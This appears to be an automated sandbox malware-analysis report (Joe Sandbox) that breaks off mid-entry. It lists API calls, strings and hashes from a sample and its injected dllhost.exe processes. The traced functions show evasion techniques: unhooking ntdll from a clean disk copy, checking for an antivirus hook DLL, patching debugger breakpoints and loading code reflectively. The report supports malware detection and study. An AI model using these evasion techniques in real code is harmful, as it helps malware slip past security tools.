Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00411236
___raise_securityfailure.LIBCMT ref: 0041131D

Strings

$C, xrefs: 00411318

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: $C
API String ID: 3761405300-4195116304
Opcode ID: 80f6249f06b426e1337c46bdc1e1420712c79efacf94ae91467b1a2988782b37
Instruction ID: 62c722c446441bb4af656825ad5ffe4e224cb7c18a78e535eed0a2c18ff6a66e
Opcode Fuzzy Hash: 80f6249f06b426e1337c46bdc1e1420712c79efacf94ae91467b1a2988782b37
Instruction Fuzzy Hash: 2E21F0B9500200EEE718CF15FEA5B847BE4BB48304F10603AE608CA3B0E7F856818F4C

Function 009102A2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 49libraryCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(7FE453B0), ref: 009102B0

Strings

v2.0.50727, xrefs: 009102BC, 009102C2, 009102E8, 00910302
v4.0.30319, xrefs: 009102C8, 009102CE, 009102F5

Memory Dump Source

Source File: 00000000.00000002.1708854930.0000000000910000.00000040.00001000.00020000.00000000.sdmp, Offset: 00910000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_910000_S7AGd447vH.jbxd

Similarity

API ID: LibraryLoad
String ID: v2.0.50727$v4.0.30319
API String ID: 1029625771-3789287155
Opcode ID: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction ID: 655ff7b5c7c5c71ba97002844d33cd082e3dd3983b27eb1cf9843771e78190e1
Opcode Fuzzy Hash: 46fb0c6000660d2ecd93cfff72376eef47f50ecf2f9a5368e1c79332df3f6d6e
Instruction Fuzzy Hash: 7CF0A462B0232CBBDB1127955D4ABEF7A5C8BC13D5F240625FD11A2101E6F68ED182A5

Function 7FE31F30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7threadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(aswhook.dll,7FE31BBA), ref: 7FE31F35
DisableThreadLibraryCalls.KERNEL32(00000000), ref: 7FE31F40

Strings

aswhook.dll, xrefs: 7FE31F30

Memory Dump Source

Source File: 00000000.00000003.1704847684.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_7fe31000_S7AGd447vH.jbxd

Similarity

API ID: CallsDisableHandleLibraryModuleThread
String ID: aswhook.dll
API String ID: 78584604-2561582699
Opcode ID: d74cb2dd0cf48b6df68db21c6a49973dbb8b91d3aa3364bb512230de829d39d3
Instruction ID: ebe0215c953d00e54fa583c8f1e870bcfd19df2d92563f2361f67c6791dd81a8
Opcode Fuzzy Hash: d74cb2dd0cf48b6df68db21c6a49973dbb8b91d3aa3364bb512230de829d39d3
Instruction Fuzzy Hash: CAB012BDF002045BBE101F734B0CB0935AF6F8237335482D46883D9000CF24C014CD20

Function 0041657B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 6COMMON

Download Yara Rule

APIs

GetCommandLineA.KERNEL32 ref: 0041657B
GetCommandLineW.KERNEL32 ref: 00416586

Strings

`%Y, xrefs: 00416581

Memory Dump Source

Source File: 00000000.00000002.1708442500.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.1708289250.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000428000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1708549958.0000000000436000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_S7AGd447vH.jbxd

Yara matches

Similarity

API ID: CommandLine
String ID: `%Y
API String ID: 3253501508-1305619333
Opcode ID: e5990b29f5a5e9ce6418ab010db1805e29f90e0b11b3835c69642d526e1bb74b
Instruction ID: 98a73f295352f78eca6e04e9ef2d2915b2518b678ca3f8bdeed1dc2aaa974d3b
Opcode Fuzzy Hash: e5990b29f5a5e9ce6418ab010db1805e29f90e0b11b3835c69642d526e1bb74b
Instruction Fuzzy Hash: E7B092789022408FC720AF30BA0C1183BB0B7182023C0E07AD802C3BB0DB750013DF08

Analysis Process: dllhost.exePID: 7608, Parent PID: 7524COMMON

Executed Functions

Function 7FE319AC Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 7FE319B9

Part of subcall function 7FE31BC0: GetModuleHandleA.KERNEL32(kernel32.dll,?,?,7FE319C5,00000000), ref: 7FE31BD6
Part of subcall function 7FE31BC0: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 7FE31BE2

Part of subcall function 7FE31C06: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
Part of subcall function 7FE31C06: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
Part of subcall function 7FE31C06: GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
Part of subcall function 7FE31C06: malloc.MSVCRT ref: 7FE31C67
Part of subcall function 7FE31C06: ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 7FE31C82
Part of subcall function 7FE31C06: VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004), ref: 7FE31CB6
Part of subcall function 7FE31C06: memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
Part of subcall function 7FE31C06: memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
Part of subcall function 7FE31C06: free.MSVCRT ref: 7FE31D06
Part of subcall function 7FE31C06: CloseHandle.KERNEL32(7FE319D1), ref: 7FE31D10

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 7FE319E5
memcpy.MSVCRT(Function_00000000,00000000,?), ref: 7FE31A93
GetCurrentProcess.KERNEL32 ref: 7FE31AC5
IsBadReadPtr.KERNEL32(?,?), ref: 7FE31B09
IsBadReadPtr.KERNEL32(00000000,?), ref: 7FE31B17
memcmp.MSVCRT(?,00000000,?), ref: 7FE31B26
memcpy.MSVCRT(00000000,?,?,?,?,00001000,00000040,?), ref: 7FE31B5B
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 7FE31B98

Strings

ntdll.dll, xrefs: 7FE319E0
%Systemroot%\system32\combase.dll, xrefs: 7FE31BA4
combase.dll, xrefs: 7FE31BA9
%Systemroot%\system32\ntdll.dll, xrefs: 7FE319C5
ZwProtectVirtualMemory, xrefs: 7FE31A0A

Memory Dump Source

Source File: 00000001.00000003.1749735106.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_7fe31000_dllhost.jbxd

Similarity

API ID: memcpy$FileHandleRead$CurrentModuleProcessVirtual$AddressAllocCloseCreateEnvironmentExpandFreeProcSizeStringsfreemallocmemcmp
String ID: %Systemroot%\system32\combase.dll$%Systemroot%\system32\ntdll.dll$ZwProtectVirtualMemory$combase.dll$ntdll.dll
API String ID: 288383237-3427567192
Opcode ID: f1a208d53d8805e2378b0198be8e792b5a9b92c2038927b6b191f4b3b12e1ae7
Instruction ID: e13732920362c93adadf7f955773acdb4f5f8b940de6f6bd2b25e23fa99a90bd
Opcode Fuzzy Hash: f1a208d53d8805e2378b0198be8e792b5a9b92c2038927b6b191f4b3b12e1ae7
Instruction Fuzzy Hash: 4851B375D00319EFDF118FA5C888EEEB7BAEF84335F90415EE802A6140E7396A44CB61

Function 7FE31C06 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99filememoryCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
malloc.MSVCRT ref: 7FE31C67
ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 7FE31C82
VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004), ref: 7FE31CB6
memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
free.MSVCRT ref: 7FE31D06
CloseHandle.KERNEL32(7FE319D1), ref: 7FE31D10

Strings

MZ, xrefs: 7FE31C8C

Memory Dump Source

Source File: 00000001.00000003.1749735106.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_7fe31000_dllhost.jbxd

Similarity

API ID: File$memcpy$AllocCloseCreateEnvironmentExpandHandleReadSizeStringsVirtualfreemalloc
String ID: MZ
API String ID: 674188835-2410715997
Opcode ID: 226944550cf8b9c8bf3112644910aa94d62cb1f495bc6e49e34df98963ec1635
Instruction ID: 37ed921750a05b1c156510011ba82f53be2a36d11858f4e25eb232333dd4bf60
Opcode Fuzzy Hash: 226944550cf8b9c8bf3112644910aa94d62cb1f495bc6e49e34df98963ec1635
Instruction Fuzzy Hash: 7C31C3BAD00208EFCB208F95CC8CEDEBBBDEF45726F604459F94696140D774AA94DB60

Function 005F0273 Relevance: 9.2, APIs: 3, Strings: 3, Instructions: 232memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,?,00001000,00000004,?,?,?), ref: 005F0391
VirtualAlloc.KERNEL32(00000000,?,00101000,00000040), ref: 005F04A1
VirtualFree.KERNELBASE(00000000,00000000,00008000), ref: 005F050B

Strings

k, xrefs: 005F03DB
!, xrefs: 005F03C8
S, xrefs: 005F03D1

Memory Dump Source

Source File: 00000001.00000003.1749810570.00000000005F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 005F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_5f0000_dllhost.jbxd

Similarity

API ID: Virtual$Alloc$Free
String ID: !$S$k
API String ID: 3668210933-1352728671
Opcode ID: 9b9b3c59536dfe2ac67a7b67f04a7fb9125a8182ea0d4415f552f70be9e8cc3c
Instruction ID: 57dfc49f99a515c9c57209f512ce17b77250d91c4eab088f125a4921bc22a12d
Opcode Fuzzy Hash: 9b9b3c59536dfe2ac67a7b67f04a7fb9125a8182ea0d4415f552f70be9e8cc3c
Instruction Fuzzy Hash: 32915F71D0021AEBDF24CF94C894BBEBBB5BF44304F089559EA55A7282D7B8E944CF60

Function 7FE31D81 Relevance: 9.1, APIs: 6, Instructions: 127COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(7FE31BB3,00000000,?,?,?,?,?,?,?,7FE31BB3,combase.dll,%Systemroot%\system32\combase.dll), ref: 7FE31D8C
GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,7FE31BB3,combase.dll,%Systemroot%\system32\combase.dll), ref: 7FE31DA1

Part of subcall function 7FE31C06: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
Part of subcall function 7FE31C06: CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
Part of subcall function 7FE31C06: GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
Part of subcall function 7FE31C06: malloc.MSVCRT ref: 7FE31C67
Part of subcall function 7FE31C06: ReadFile.KERNEL32(00000000,00000000,?,?,00000000), ref: 7FE31C82
Part of subcall function 7FE31C06: VirtualAlloc.KERNEL32(00000000,00000000,00001000,00000004), ref: 7FE31CB6
Part of subcall function 7FE31C06: memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
Part of subcall function 7FE31C06: memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
Part of subcall function 7FE31C06: free.MSVCRT ref: 7FE31D06
Part of subcall function 7FE31C06: CloseHandle.KERNEL32(7FE319D1), ref: 7FE31D10

IsBadReadPtr.KERNEL32(7FE31BB3,00000080), ref: 7FE31E42
IsBadReadPtr.KERNEL32(7FE31BB3,00000080), ref: 7FE31E4E

Part of subcall function 7FE31EEA: memcmp.MSVCRT(7FE31BB3,7FE31E6D,7FE31E6D,7FE31BB3,?,00000080,?,7FE31E6D,7FE31BB3,7FE31BB3,00000080,?,?,?,00000000), ref: 7FE31F0D

memcpy.MSVCRT(7FE31BB3,7FE31BB3,?,?,?,00001000,00000040,00000004,?,?,?,?,?,?,00000000), ref: 7FE31EA2
VirtualFree.KERNELBASE(?,00000000,00008000,?,?,?,00000000,?,?,?,?,?,?,?,7FE31BB3,combase.dll), ref: 7FE31EDF

Memory Dump Source

Source File: 00000001.00000003.1749735106.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_7fe31000_dllhost.jbxd

Similarity

API ID: FileReadmemcpy$HandleVirtual$AllocCloseCreateCurrentEnvironmentExpandFreeModuleProcessSizeStringsfreemallocmemcmp
String ID:
API String ID: 1807237107-0
Opcode ID: 65760951e2fbb1f37c2ca01f434e78f1b247da36f8d6a80a04fa196cab3b0387
Instruction ID: e66e30e26c8d651dff7f802cc7b867a7bcfc757d2cd4cd66e8dd7680ebece615
Opcode Fuzzy Hash: 65760951e2fbb1f37c2ca01f434e78f1b247da36f8d6a80a04fa196cab3b0387
Instruction Fuzzy Hash: 32416275D00209EFDF019FA6CD88AAEBBBAFF44364F54412EE902E7150E735A954CB60

Non-executed Functions

Function 7FE31BC0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 25libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(kernel32.dll,?,?,7FE319C5,00000000), ref: 7FE31BD6
GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 7FE31BE2

Strings

IsWow64Process, xrefs: 7FE31BDC
kernel32.dll, xrefs: 7FE31BD1

Memory Dump Source

Source File: 00000001.00000003.1749735106.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_7fe31000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: IsWow64Process$kernel32.dll
API String ID: 1646373207-3024904723
Opcode ID: fa89db43dd185a1453fcf4f790fbcd5a175520637a84c9a2fa416bbfb15f58e2
Instruction ID: 54fe31d5977995978b315a9fd433e02c4f518c0bef640df39cf22da13bcb4d8d
Opcode Fuzzy Hash: fa89db43dd185a1453fcf4f790fbcd5a175520637a84c9a2fa416bbfb15f58e2
Instruction Fuzzy Hash: E6E03039E0030AAFDB01CBA5CA0DF9DB6BDAF4526AB604159A805D6000E735D614EA10

Function 7FE31064 Relevance: 6.5, APIs: 1, Strings: 3, Instructions: 456COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 7FE31086

Strings

combase.dll, xrefs: 7FE31307
, xrefs: 7FE3145A
$, xrefs: 7FE31186

Memory Dump Source

Source File: 00000001.00000003.1749735106.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_7fe31000_dllhost.jbxd

Similarity

API ID: memset
String ID: $$$combase.dll
API String ID: 2221118986-1187780485
Opcode ID: a92cfde426eaf275d4cdb4ff5bbffa1fe7b5514eabfb562f5d1dbc9aa72339ae
Instruction ID: 073b19536da68552c2ef516f0e74b594634c8d8f7233081d7479257ca9af4b1c
Opcode Fuzzy Hash: a92cfde426eaf275d4cdb4ff5bbffa1fe7b5514eabfb562f5d1dbc9aa72339ae
Instruction Fuzzy Hash: D702F724C087C599DB168A78805D3EDBFF29F43228F9986CDC4D31BA97C27E6249D352

Function 7FE31F30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 7threadCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(aswhook.dll,7FE31BBA), ref: 7FE31F35
DisableThreadLibraryCalls.KERNEL32(00000000), ref: 7FE31F40

Strings

aswhook.dll, xrefs: 7FE31F30

Memory Dump Source

Source File: 00000001.00000003.1749735106.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_3_7fe31000_dllhost.jbxd

Similarity

API ID: CallsDisableHandleLibraryModuleThread
String ID: aswhook.dll
API String ID: 78584604-2561582699
Opcode ID: d74cb2dd0cf48b6df68db21c6a49973dbb8b91d3aa3364bb512230de829d39d3
Instruction ID: ebe0215c953d00e54fa583c8f1e870bcfd19df2d92563f2361f67c6791dd81a8
Opcode Fuzzy Hash: d74cb2dd0cf48b6df68db21c6a49973dbb8b91d3aa3364bb512230de829d39d3
Instruction Fuzzy Hash: CAB012BDF002045BBE101F734B0CB0935AF6F8237335482D46883D9000CF24C014CD20

Analysis Process: dllhost.exePID: 7856, Parent PID: 1044COMMON

Execution Graph

Execution Coverage:	26.7%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	0%
Total number of Nodes:	191
Total number of Limit Nodes:	4

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 7FE42233 Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 47
libraryloadernativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,ZwQueryInformationProcess,?,?,?,?,7FE42071), ref: 7FE42251
GetProcAddress.KERNEL32(00000000), ref: 7FE4225A
GetCurrentProcess.KERNEL32(00000022,00000000,00000004,?,?,?,?,7FE42071), ref: 7FE4226F
NtQueryInformationProcess.NTDLL(00000000,?,?,?,7FE42071), ref: 7FE42276
GetModuleHandleA.KERNEL32(ntdll,ZwQueryInformationProcess,?,?,?,7FE42071), ref: 7FE42291
GetProcAddress.KERNEL32(00000000), ref: 7FE42294

Strings

ntdll.dll, xrefs: 7FE4224C
ntdll, xrefs: 7FE4228C
ZwQueryInformationProcess, xrefs: 7FE42245, 7FE4224B, 7FE4228B

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: AddressHandleModuleProcProcess$CurrentInformationQuery
String ID: ZwQueryInformationProcess$ntdll$ntdll.dll
API String ID: 460765316-442758927
Opcode ID: b828806d0fd79351611bb38ed87b16235be445b549a03474a29fa1beab70e088
Instruction ID: c43e8887edb143a630375315b9d9582e51a2876b0aac7502fde47bf8d8371ccf
Opcode Fuzzy Hash: b828806d0fd79351611bb38ed87b16235be445b549a03474a29fa1beab70e088
Instruction Fuzzy Hash: 7B01D67BE0030CBBEB0097E5AC49FBE7BBCEB88265F24011AF901E3040D674DA158B64

Function 7FE42DD5 Relevance: 58.2, APIs: 26, Strings: 7, Instructions: 420
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(00000000,00000000,7FE4208A), ref: 7FE42DFB

Part of subcall function 7FE432D4: GetProcessHeap.KERNEL32(00000000,7FE453D0,00000000,7FE42E0C,7FE453D0), ref: 7FE43310
Part of subcall function 7FE432D4: RtlAllocateHeap.NTDLL(00000000,00000008,?), ref: 7FE4331F
Part of subcall function 7FE432D4: memcpy.NTDLL(00000000,22283E58,?), ref: 7FE4333F
Part of subcall function 7FE432D4: memcpy.NTDLL(?,22283E58,00000000), ref: 7FE4336A
Part of subcall function 7FE432D4: IsBadReadPtr.KERNEL32(?,?), ref: 7FE43391
Part of subcall function 7FE432D4: HeapFree.KERNEL32(?,00000000,?), ref: 7FE433AA

HeapDestroy.KERNEL32(?), ref: 7FE42E1A
IsBadReadPtr.KERNEL32(00000000,?), ref: 7FE42E5F
VirtualProtect.KERNELBASE(00000000,?,00000004,00000000), ref: 7FE42E88
memcpy.NTDLL(00000000,?,?), ref: 7FE42E94
VirtualProtect.KERNELBASE(00000000,?,00000000,00000000), ref: 7FE42EA7
VirtualProtect.KERNELBASE(?,0000010A,00000004,00000000), ref: 7FE42ED7
memset.NTDLL ref: 7FE42EE7
memcpy.NTDLL(?,?,00000000), ref: 7FE42F07
GetTickCount.KERNEL32 ref: 7FE42F7D
VirtualProtect.KERNELBASE(?,?,00000020,00000000), ref: 7FE4303F
VirtualAlloc.KERNELBASE(00000000,00001000,00001000,00000040), ref: 7FE43094
GetModuleHandleA.KERNEL32(kernel32.dll), ref: 7FE430A9
RtlCaptureContext.NTDLL(0000040C), ref: 7FE430C2
memcpy.NTDLL(00000000,7FE452E4,00000011), ref: 7FE430D0
memcpy.NTDLL(00000011,7FE433D2,000003EF,00000000,7FE452E4,00000011), ref: 7FE430E3
GetProcessHeap.KERNEL32 ref: 7FE43103
GetModuleHandleA.KERNEL32(ntdll.dll,ZwContinue), ref: 7FE4312D
GetProcAddress.KERNEL32(00000000), ref: 7FE4313A
GetProcAddress.KERNEL32(00000000,VirtualFree), ref: 7FE43146
GetProcAddress.KERNEL32(00000000,HeapDestroy), ref: 7FE43153
VirtualAlloc.KERNEL32(00000000,?,00101000,00000040,00000000,7FE4208A), ref: 7FE431AF
memcpy.NTDLL(00000000,X>(",?), ref: 7FE431C5
memcpy.NTDLL(?,?,?), ref: 7FE431F4
GetTickCount.KERNEL32 ref: 7FE4326F
VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 7FE432C9

Strings

, xrefs: 7FE42FF7
VirtualFree, xrefs: 7FE4313C
HeapDestroy, xrefs: 7FE43148
ntdll.dll, xrefs: 7FE43117
kernel32.dll, xrefs: 7FE430A4
ZwContinue, xrefs: 7FE43112
X>(", xrefs: 7FE431C2

Memory Dump Source

Source File: 00000007.00000002.1820589605.000000007FE40000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7fe40000_dllhost.jbxd

Similarity

API ID: memcpy$Virtual$Heap$Protect$AddressHandleModuleProc$AllocCountFreeProcessReadTick$AllocateCaptureContextDestroymemset
String ID: $HeapDestroy$VirtualFree$X>("$ZwContinue$kernel32.dll$ntdll.dll
API String ID: 1144457544-420683181
Opcode ID: aec24aa56fb9883356a3063263abbe9963df0538df00baee4cba9280c20f54ed
Instruction ID: 732545531038e7714358bfe6ab87001606b6185c74c7238915c452f030bfd5c1
Opcode Fuzzy Hash: aec24aa56fb9883356a3063263abbe9963df0538df00baee4cba9280c20f54ed
Instruction Fuzzy Hash: 62F1CC76A00305AFDB21CFA5DC84BAAB7BAFF44348F10552DF906AB241D734E994EB50

Function 7FE319AC Relevance: 24.7, APIs: 9, Strings: 5, Instructions: 186COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 7FE319B9

Part of subcall function 7FE31BC0: GetModuleHandleA.KERNEL32(kernel32.dll,?,?,7FE319C5,00000000), ref: 7FE31BD6
Part of subcall function 7FE31BC0: GetProcAddress.KERNEL32(00000000,IsWow64Process), ref: 7FE31BE2

Part of subcall function 7FE31C06: ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
Part of subcall function 7FE31C06: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
Part of subcall function 7FE31C06: GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
Part of subcall function 7FE31C06: malloc.MSVCRT ref: 7FE31C67
Part of subcall function 7FE31C06: ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 7FE31C82
Part of subcall function 7FE31C06: VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 7FE31CB6
Part of subcall function 7FE31C06: memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
Part of subcall function 7FE31C06: memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
Part of subcall function 7FE31C06: free.MSVCRT ref: 7FE31D06
Part of subcall function 7FE31C06: CloseHandle.KERNELBASE(7FE319D1), ref: 7FE31D10

GetModuleHandleA.KERNEL32(ntdll.dll), ref: 7FE319E5
memcpy.MSVCRT(Function_00000000,00000000,?), ref: 7FE31A93
GetCurrentProcess.KERNEL32 ref: 7FE31AC5
IsBadReadPtr.KERNEL32(?,?), ref: 7FE31B09
IsBadReadPtr.KERNEL32(00000000,?), ref: 7FE31B17
memcmp.MSVCRT(?,00000000,?), ref: 7FE31B26
memcpy.MSVCRT(00000000,?,?,?,?,00001000,00000040,?), ref: 7FE31B5B
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 7FE31B98

Strings

ntdll.dll, xrefs: 7FE319E0
%Systemroot%\system32\combase.dll, xrefs: 7FE31BA4
%Systemroot%\system32\ntdll.dll, xrefs: 7FE319C5
ZwProtectVirtualMemory, xrefs: 7FE31A0A
combase.dll, xrefs: 7FE31BA9

Memory Dump Source

Source File: 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_7fe31000_dllhost.jbxd

Similarity

API ID: memcpy$FileHandleRead$CurrentModuleProcessVirtual$AddressAllocCloseCreateEnvironmentExpandFreeProcSizeStringsfreemallocmemcmp
String ID: %Systemroot%\system32\combase.dll$%Systemroot%\system32\ntdll.dll$ZwProtectVirtualMemory$combase.dll$ntdll.dll
API String ID: 288383237-3427567192
Opcode ID: f1a208d53d8805e2378b0198be8e792b5a9b92c2038927b6b191f4b3b12e1ae7
Instruction ID: e13732920362c93adadf7f955773acdb4f5f8b940de6f6bd2b25e23fa99a90bd
Opcode Fuzzy Hash: f1a208d53d8805e2378b0198be8e792b5a9b92c2038927b6b191f4b3b12e1ae7
Instruction Fuzzy Hash: 4851B375D00319EFDF118FA5C888EEEB7BAEF84335F90415EE802A6140E7396A44CB61

Function 7FE31C06 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 99filememoryCOMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000000), ref: 7FE31C25
CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 7FE31C46
GetFileSize.KERNEL32(00000000,00000000), ref: 7FE31C5D
malloc.MSVCRT ref: 7FE31C67
ReadFile.KERNELBASE(00000000,00000000,?,?,00000000), ref: 7FE31C82
VirtualAlloc.KERNELBASE(00000000,00000000,00001000,00000004), ref: 7FE31CB6
memcpy.MSVCRT(00000000,00000000,7FE319D1), ref: 7FE31CC8
memcpy.MSVCRT(?,00000000,?), ref: 7FE31CEE
free.MSVCRT ref: 7FE31D06
CloseHandle.KERNELBASE(7FE319D1), ref: 7FE31D10

Strings

MZ, xrefs: 7FE31C8C

Memory Dump Source

Source File: 00000007.00000003.1819863860.000000007FE31000.00000040.00001000.00020000.00000000.sdmp, Offset: 7FE31000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_3_7fe31000_dllhost.jbxd

Similarity

API ID: File$memcpy$AllocCloseCreateEnvironmentExpandHandleReadSizeStringsVirtualfreemalloc
String ID: MZ
API String ID: 674188835-2410715997
Opcode ID: 226944550cf8b9c8bf3112644910aa94d62cb1f495bc6e49e34df98963ec1635
Instruction ID: 37ed921750a05b1c156510011ba82f53be2a36d11858f4e25eb232333dd4bf60
Opcode Fuzzy Hash: 226944550cf8b9c8bf3112644910aa94d62cb1f495bc6e49e34df98963ec1635
Instruction Fuzzy Hash: 7C31C3BAD00208EFCB208F95CC8CEDEBBBDEF45726F604459F94696140D774AA94DB60

Function 7FE416D7 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 56
memorylibraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNEL32(ntdll.dll,00000000,7FE4208A,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?,?,?,00000000,?), ref: 7FE416E0
GetProcAddress.KERNEL32(00000000,DbgBreakPoint), ref: 7FE416F9
VirtualProtect.KERNELBASE(00000000,00000004,00000040,7FE4208A,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?), ref: 7FE41711
VirtualProtect.KERNELBASE(00000000,00000004,?,7FE4208A,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?), ref: 7FE41722
GetProcAddress.KERNEL32(00000000,DbgUserBreakPoint), ref: 7FE4172A
VirtualProtect.KERNELBASE(00000000,00000004,00000040,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?,?,?,00000000), ref: 7FE4173D
VirtualProtect.KERNELBASE(00000000,00000004,7FE4208A,?,?,EC8B5500,7FE416D2,?,?,7FE4208A,?,?,?,?,?,00000000), ref: 7FE4174E

Strings

DbgBreakPoint, xrefs: 7FE416F3
DbgUserBreakPoint, xrefs: 7FE41724
ntdll.dll, xrefs: 7FE416DB

Memory Dump Source

